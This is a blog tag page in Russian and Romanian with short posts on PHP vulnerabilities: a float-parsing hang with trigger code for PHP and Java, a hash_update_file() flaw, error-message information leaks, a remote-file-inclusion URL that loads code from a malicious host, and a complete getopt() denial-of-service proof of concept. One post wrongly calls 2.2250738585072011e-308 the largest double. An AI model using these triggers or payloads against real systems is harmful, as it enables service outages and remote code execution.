Posts Tagged PHP

PHP и Java зависают при вводе цифрового значения 2.2250738585072011e-308

Было замечено, что php уходит в бесконечный цикл

$d = 2.2250738585072011e-308;

(То же самое происходит и при вводе значения целиком, 324 знака)

При этом, если использовать значение, как строковое, то проблем не происходит:

$d = '2.2250738585072011e-308'; echo $d;

Но стоит попытаться преобразовать его в цифру, сразу же возникают проблемы:

$d = '2.2250738585072011e-308'; echo $d + 0;

В чём же проблема?  Число 2.2250738585072011e-308 представляет собой наибольшее число двойной точности с плавающей запятой. В шестнадцатеричной нотации оно выглядит так: 0×0.fffffffffffffp-1022. При этом, 2.2250738585072011e-308 одно из пяти чисел, которые корректно конвертируются в 0×0.fffffffffffffp-1022:

  • 2.2250738585072007e-308
  • 2.2250738585072008e-308
  • 2.2250738585072009e-308
  • 2.2250738585072010e-308
  • 2.2250738585072011e-308

Но только 2.2250738585072011e-308 вызывает вышеописанные проблемы.

На данный момент, баг уже исправлен.

Подобный баг наблюдается и в Java. Данный код “повесит” компилятор:

class compilehang {
public static void main(String[] args) {
  double d = 2.2250738585072012e-308;
  System.out.println("Value: " + d);
 }
}

А вот этот фрагмент “повесит” программу во время исполнения:

class runhang {
public static void main(String[] args) {
  System.out.println("Test:");
  double d = Double.parseDouble("2.2250738585072012e-308");
  System.out.println("Value: " + d);
 }
}

Источник:
Exploringbinary
Be safe.

, ,

No Comments

Vulnerabilitate PHP în funcţia hash_update_file()

Versiuni afectate: PHP 5.2 <=5.2.13
Consecinţe: Acces nesancţionat la resurse, executarea codului maliţios.
Instrucţiuni oficiale de utilizare a funcţiei: http://php.net/manual/en/function.hash-update-file.php

Descriere:

La chemarea funcţiei hash_update_file (), în primul rând se încearcă accesarea resurselor de date pentru o prelucrare ulterioară. Apoi se citesc datele din fluxul de date(stream) în scopul de hashing. O modificare maliţioasă a handler-ului către stream, poate distruge resursa hash din handler-ul citit la moment şi poate condiţiona înlocuirea handler-ului cu un altul, care conţine o modificare a tabelului de pointeri cu hash-uri. La continuarea procesului de hashing de către funcţia internă se va apela pointer-ul rescris şi se va încerca executarea unui cod maliţios.

Exploatarea vulnerabilităţii

Următorul script va încerca să exploateze această vulnerabilitate şi să cauzeze o execuţie în adresa 0×55555555, care în mod normal ar trebui să eşueze. Read the rest of this entry »

, ,

No Comments

Expunerea informaţiei prin mesajele de eroare

Informaţia sensibilă poate fi critică (cum ar fi parola), sau poate fi utilă pentru lansarea altor atacuri asupra altor subsisteme sau module. În cazul în care un atac eşuează, atacatorul poate utiliza informaţia din mesajele de eroare furnizate de server sau aplicaţie, pentru a lansa un alt atac. De exemplu o încercare de exploatare a vulnerabilităţii path traversal, ar putea furniza calea completă a aplicaţiei în sistemul de fişiere. La rîndul său, acest lucru ar putea fi utilizat pentru determinarea numărului de elemente “..” sau indicarea unei căi de acces către un fişier sau directoriu ţintă. Un atac ce utilizează vulnerabilitatea SQL Injection ar putea dezvălui structura tabelului, bazei de date, sau expune logica de interogare, şi posibil chiar parole sau informaţii sensibile utilizate în interogare. Read the rest of this entry »

, , , ,

1 Comment

PHP 5.3.0 getopt() Denial of Service

<?php
#####################################################################
## PHP 5.3.0 getopt() Denial of service
## Tested on WIN XP FR SP3, WIN VISTA FR SP2, Apache, PHP 5.3.0
## Denial of service
## Author: Napst3r
## Greets To: My Laptop &  all My Friends
#####################################################################

$buffer  = str_repeat('A:', 9999);
$options = getopt($buffer);
 
?>

, ,

No Comments

Includerea fişierelor PHP, descriere şi măsuri de control

Ce presupune “Includerea fişierelor PHP” (PHP File Inclusion)? E o greşeală care exploatează utilizarea neintenţionată a unei particularităţi periculoase specifice PHP. Un limbaj de programare complet, ca PHP, de obicei oferă facilitatea de a include fişiere suplimentare spre execuţie. Această caracteristică este utilizată frecvent pentru a include biblioteci, anteturi sau alte elemente de cod comune pentru mai multe pagini sau script-uri. PHP are implementată o particularitate suplimentară a acestei funcţionalităţi: Fişierul sau directoriul inclus nu e obligatoriu să fie unul local. Cu alte cuvinte, dacă un răufăcător reuşeşte să modifice numele fişierului indicat spre a fi inclus în unul de tip

http://exemple.com/?fisier=http://exemple-maliţioase.com/cod.php

atunci output-ul acestui URL va fi inclus şi executat în contextul scriptului local. Read the rest of this entry »

, , ,

No Comments